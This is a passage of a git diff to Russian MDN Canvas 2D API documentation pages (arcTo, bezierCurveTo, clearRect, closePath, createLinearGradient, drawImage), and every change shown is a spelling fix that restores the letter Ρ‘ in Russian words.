<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаётся скруглённый ΡƒΠ³ΠΎΠ» с использованиСм <code>arcTo()</code>. Π­Ρ‚ΠΎ Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ.</p>
@@ -123,7 +123,7 @@ ctx.stroke();</pre>
<h4 id="Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚_2">Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚</h4>
-<p>{{ EmbedLiveSample('Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_скруглСнного_ΡƒΠ³Π»Π°', 315, 165) }}</p>
+<p>{{ EmbedLiveSample('Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_скруглённого_ΡƒΠ³Π»Π°', 315, 165) }}</p>
<h3 id="Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚_с_большим_радиусом">Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ с большим радиусом</h3>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html b/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html
index 635c849882..81fe31aa72 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html
@@ -74,7 +74,7 @@ ctx.fillRect(150, 70, 10, 10);</pre>
<h3 id="ΠŸΡ€Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΠΎΠ΅_ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅_bezierCurveTo">ΠŸΡ€Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΠΎΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ <code>bezierCurveTo</code></h3>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄, прСдставлСнный Π½ΠΈΠΆΠ΅, ΠΈ внСсСнныС Π²Π°ΠΌΠΈ измСнСния отобразятся Π½Π° холстС Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ:</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄, прСдставлСнный Π½ΠΈΠΆΠ΅, ΠΈ внСсённыС Π²Π°ΠΌΠΈ измСнСния отобразятся Π½Π° холстС Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ:</p>
<div class="hidden">
<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
diff --git a/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html b/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html
index 70352dbe22..cf5dea358d 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html
@@ -11,7 +11,7 @@ translation_of: Web/API/CanvasRenderingContext2D/clearRect
---
<div>{{APIRef}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.clearRect()</code></strong>, прСдоставляСмый Canvas 2D API, устанавливаСт ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ для всСх пиксСлСй, располоТСнных Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°, Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ <em>(x, y)</em> ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ <em>(width, height)</em>, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ стирая любоС Ρ€Π°Π½Π΅Π΅ нарисованноС содСрТимоС.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.clearRect()</code></strong>, прСдоставляСмый Canvas 2D API, устанавливаСт ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ для всСх пиксСлСй, располоТСнных Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°, Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ <em>(x, y)</em> ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ <em>(width, height)</em>, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ стирая любоС Ρ€Π°Π½Π΅Π΅ нарисованноС содСрТимоС.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html b/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html
index 86ecbaf06d..89349a3873 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html
@@ -50,7 +50,7 @@ ctx.stroke();
<h3 id="Π—Π°ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅_ΠΏΡƒΡ‚ΠΈ_ΠΎΠ΄ΠΈΠ½_Ρ€Π°Π·">Π—Π°ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ ΠΏΡƒΡ‚ΠΈ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·</h3>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ рисуСт смайлик, состоящий ΠΈΠ· Ρ‚Ρ€Π΅Ρ… Π½Π΅ соСдинСнных Π΄ΡƒΠ³ (ΠΏΠΎΠ΄ ΠΏΡƒΡ‚Π΅ΠΉ).</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ рисуСт смайлик, состоящий ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… Π½Π΅ соСдинённых Π΄ΡƒΠ³ (ΠΏΠΎΠ΄ ΠΏΡƒΡ‚Π΅ΠΉ).</p>
<div class="blockIndicator note">
<p>Π₯отя <code>closePath()</code> вызываСтся послС создания всСх Π΄ΡƒΠ³, закрываСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послСдняя.</p>
@@ -63,7 +63,7 @@ ctx.stroke();
<h4 id="JavaScript_2">JavaScript</h4>
-<p>ΠŸΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π΅ Π΄ΡƒΠ³ΠΈ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ Π³Π»Π°Π·Π°, послСдняя создаСт Ρ€ΠΎΡ‚.</p>
+<p>ΠŸΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π΅ Π΄ΡƒΠ³ΠΈ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ Π³Π»Π°Π·Π°, послСдняя создаёт Ρ€ΠΎΡ‚.</p>
<pre class="brush: js; highlight:[10]">const canvas = document.getElementById('canvas');
const ctx = canvas.getContext('2d');
diff --git a/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html
index 9337731350..25d4a915b3 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html
@@ -10,7 +10,7 @@ translation_of: Web/API/CanvasRenderingContext2D/createLinearGradient
---
<div>{{APIRef}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.createLinearGradient()</code></strong>, прСдоставляСмый CanvasΒ 2D API, создаСт Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ вдоль Π»ΠΈΠ½ΠΈΠΈ, соСдинСнной двумя Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌΠΈ.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.createLinearGradient()</code></strong>, прСдоставляСмый CanvasΒ 2D API, создаёт Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ вдоль Π»ΠΈΠ½ΠΈΠΈ, соСдинённой двумя Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌΠΈ.</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/14681/mdn-canvas-linearGradient.png" style="height: 121px; width: 264px;"></p>
@@ -44,14 +44,14 @@ translation_of: Web/API/CanvasRenderingContext2D/createLinearGradient
<dl>
<dt>{{domxref("CanvasGradient")}}</dt>
- <dd>Π›ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉΒ <code>CanvasGradient</code>, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π»ΠΈΠ½ΠΈΠ΅ΠΉ.</dd>
+ <dd>Π›ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉΒ <code>CanvasGradient</code>, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π»ΠΈΠ½ΠΈΠ΅ΠΉ.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
<h3 id="Π—Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅_ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°_с_Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΌ_Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠΌ">Π—Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°Β Ρ Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΌ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠΌ</h3>
-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаСтся ΠΈ добавляСтся линСйный Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>createLinearGradient()</code>. Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Ρ€ΠΈ Ρ‚ΠΎΡ‡ΠΊΠΈ остановки Ρ†Π²Π΅Ρ‚Π° ΠΌΠ΅ΠΆΠ΄Ρƒ созданными Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ Π»ΠΈΠ½ΠΈΠΈ.</p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаётся ΠΈ добавляСтся линСйный Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>createLinearGradient()</code>. Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Ρ€ΠΈ Ρ‚ΠΎΡ‡ΠΊΠΈ остановки Ρ†Π²Π΅Ρ‚Π° ΠΌΠ΅ΠΆΠ΄Ρƒ созданными Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ Π»ΠΈΠ½ΠΈΠΈ.</p>
<h4 id="HTML">HTML</h4>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html b/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html
index 8a510de988..370ecfcb57 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html
@@ -28,28 +28,28 @@ void <var><em>ctx</em>.drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth,
<dt><code>image</code></dt>
<dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ для отобраТСния Π² контСкстС. Ѐункция ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ любой источник изобраТСния, ΠΏΡ€ΠΈΠ³ΠΎΠ΄Π½Ρ‹ΠΉ для отобраТСния Π½Π° холстС ({{domxref("CanvasImageSource")}}), ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Π΅Π΅, {{domxref("CSSImageValue")}},Β  {{domxref("HTMLImageElement")}}, {{domxref("SVGImageElement")}}, {{domxref("HTMLVideoElement")}}, {{domxref("HTMLCanvasElement")}}, {{domxref("ImageBitmap")}} ΠΈΠ»ΠΈ {{domxref("OffscreenCanvas")}}.</dd>
<dt><code>dx</code></dt>
- <dd>ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° ΠΏΠΎ оси Π₯, ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰Π°Ρ ΡΡ‚Π°Ρ€Ρ‚ΠΎΠ²ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ холста-ΠΏΡ€ΠΈΠ΅ΠΌΠ½ΠΈΠΊΠ°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ Π»Π΅Π²Ρ‹ΠΉ ΡƒΠ³ΠΎΠ» исходного <code>image</code>.</dd>
+ <dd>ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° ΠΏΠΎ оси Π₯, ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰Π°Ρ ΡΡ‚Π°Ρ€Ρ‚ΠΎΠ²ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ холста-ΠΏΡ€ΠΈΡ‘ΠΌΠ½ΠΈΠΊΠ°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ Π»Π΅Π²Ρ‹ΠΉ ΡƒΠ³ΠΎΠ» исходного <code>image</code>.</dd>
<dt><code>dy</code></dt>
- <dd>ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° ΠΏΠΎ оси Y, ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰Π°Ρ ΡΡ‚Π°Ρ€Ρ‚ΠΎΠ²ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ холста-ΠΏΡ€ΠΈΠ΅ΠΌΠ½ΠΈΠΊΠ°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ Π»Π΅Π²Ρ‹ΠΉ ΡƒΠ³ΠΎΠ» исходного <code>image</code>.</dd>
+ <dd>ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° ΠΏΠΎ оси Y, ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰Π°Ρ ΡΡ‚Π°Ρ€Ρ‚ΠΎΠ²ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ холста-ΠΏΡ€ΠΈΡ‘ΠΌΠ½ΠΈΠΊΠ°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ Π»Π΅Π²Ρ‹ΠΉ ΡƒΠ³ΠΎΠ» исходного <code>image</code>.</dd>
<dt><code>dWidth</code></dt>
<dd>Π¨ΠΈΡ€ΠΈΠ½Π° изобраТСния, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ ΠΈΠ· исходного <code>image</code>. Π­Ρ‚Π° опция позволяСт ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎ ΡˆΠΈΡ€ΠΈΠ½Π΅. Если опция Π½Π΅ Π·Π°Π΄Π°Π½Π°, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ.</dd>
<dt><code>dHeight</code></dt>
<dd>Высота изобраТСния, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ ΠΈΠ· исходного <code>image</code>. Π­Ρ‚Π° опция позволяСт ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎ высотС. Если опция Π½Π΅ Π·Π°Π΄Π°Π½Π°, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ.</dd>
<dt><code>sx</code></dt>
- <dd>ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° ΠΏΠΎ оси X Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ Π»Π΅Π²ΠΎΠ³ΠΎ ΡƒΠ³Π»Π° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Ρ€Π΅Π·Π°Π½ ΠΈΠ· изобраТСния-источника ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π² контСкст-ΠΏΡ€ΠΈΠ΅ΠΌΠ½ΠΈΠΊ.</dd>
+ <dd>ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° ΠΏΠΎ оси X Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ Π»Π΅Π²ΠΎΠ³ΠΎ ΡƒΠ³Π»Π° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Ρ€Π΅Π·Π°Π½ ΠΈΠ· изобраТСния-источника ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π² контСкст-ΠΏΡ€ΠΈΠ΅ΠΌΠ½ΠΈΠΊ.</dd>
<dt><code>sy</code></dt>
- <dd>ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° ΠΏΠΎ оси Y Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ Π»Π΅Π²ΠΎΠ³ΠΎ ΡƒΠ³Π»Π° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Ρ€Π΅Π·Π°Π½ ΠΈΠ· изобраТСния-источника ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π² контСкст-ΠΏΡ€ΠΈΠ΅ΠΌΠ½ΠΈΠΊ.</dd>
+ <dd>ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° ΠΏΠΎ оси Y Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ Π»Π΅Π²ΠΎΠ³ΠΎ ΡƒΠ³Π»Π° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Ρ€Π΅Π·Π°Π½ ΠΈΠ· изобраТСния-источника ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π² контСкст-ΠΏΡ€ΠΈΠ΅ΠΌΠ½ΠΈΠΊ.</dd>
<dt><code>sWidth</code></dt>
- <dd>Π¨ΠΈΡ€ΠΈΠ½Π° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Ρ€Π΅Π·Π°Π½ ΠΈΠ· изобраТСния источника ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π² контСкст-ΠΏΡ€ΠΈΠ΅ΠΌΠ½ΠΈΠΊ. Если Π½Π΅ Π·Π°Π΄Π°Π½Π°, Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΎΡ‚ Ρ‚ΠΎΡ‡ΠΊΠΈ, Π·Π°Π΄Π°Π½Π½ΠΎΠΉ <code>sx</code> ΠΈ <code>sy</code> Π΄ΠΎ ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ Π½ΠΈΠΆΠ½Π΅Π³ΠΎ ΡƒΠ³Π»Π° источника Π±ΡƒΠ΄Π΅Ρ‚ Ρ†Π΅Π»ΠΈΠΊΠΎΠΌ скопирован Π² контСкст-ΠΏΡ€ΠΈΠ΅ΠΌΠ½ΠΈΠΊ.</dd>
+ <dd>Π¨ΠΈΡ€ΠΈΠ½Π° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Ρ€Π΅Π·Π°Π½ ΠΈΠ· изобраТСния источника ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π² контСкст-ΠΏΡ€ΠΈΡ‘ΠΌΠ½ΠΈΠΊ. Если Π½Π΅ Π·Π°Π΄Π°Π½Π°, Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΎΡ‚ Ρ‚ΠΎΡ‡ΠΊΠΈ, Π·Π°Π΄Π°Π½Π½ΠΎΠΉ <code>sx</code> ΠΈ <code>sy</code> Π΄ΠΎ ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ Π½ΠΈΠΆΠ½Π΅Π³ΠΎ ΡƒΠ³Π»Π° источника Π±ΡƒΠ΄Π΅Ρ‚ Ρ†Π΅Π»ΠΈΠΊΠΎΠΌ скопирован Π² контСкст-ΠΏΡ€ΠΈΠ΅ΠΌΠ½ΠΈΠΊ.</dd>
<dt><code>sHeight</code></dt>
- <dd>Высота Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Ρ€Π΅Π·Π°Π½ ΠΈΠ· изобраТСния источника ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π² контСкст-ΠΏΡ€ΠΈΠ΅ΠΌΠ½ΠΈΠΊ.</dd>
+ <dd>Высота Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Ρ€Π΅Π·Π°Π½ ΠΈΠ· изобраТСния источника ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π² контСкст-ΠΏΡ€ΠΈΠ΅ΠΌΠ½ΠΈΠΊ.</dd>
</dl>
<h3 id="Π˜ΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ">Π˜ΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ</h3>
<dl>
<dt><code>INDEX_SIZE_ERR</code></dt>
- <dd>ВыбрасываСтся, Ссли ΡˆΠΈΡ€ΠΈΠ½Π° ΠΈΠ»ΠΈ высота источника ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠ΅ΠΌΠ½ΠΈΠΊΠ° Ρ€Π°Π²Π½Π° Π½ΡƒΠ»ΡŽ.</dd>
+ <dd>ВыбрасываСтся, Ссли ΡˆΠΈΡ€ΠΈΠ½Π° ΠΈΠ»ΠΈ высота источника ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΡ‘ΠΌΠ½ΠΈΠΊΠ° Ρ€Π°Π²Π½Π° Π½ΡƒΠ»ΡŽ.</dd>
<dt><code>INVALID_STATE_ERR</code></dt>
<dd>Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹Ρ… изобраТСния.</dd>
<dt><code>TYPE_MISMATCH_ERR</code></dt>
@@ -316,7 +316,7 @@ function drawImageActualSize() {
<ul>
<li><code>drawImage()</code> ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с {{domxref("HTMLVideoElement")}} Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, ΠΊΠΎΠ³Π΄Π° {{domxref("HTMLMediaElement.readyState")}}<strong> большС Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹</strong> (Ρ‚.Π΅., событиС <strong>seek</strong> ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ вызываСтся послС установки свойства <code>currentTime</code>)</li>
<li><code>drawImage()</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ элСмСнта-источника, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹ΠΉ Π² CSS-пиксСлях, ΠΏΡ€ΠΈ рисовании, Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ ΠΈΠ»ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ.</li>
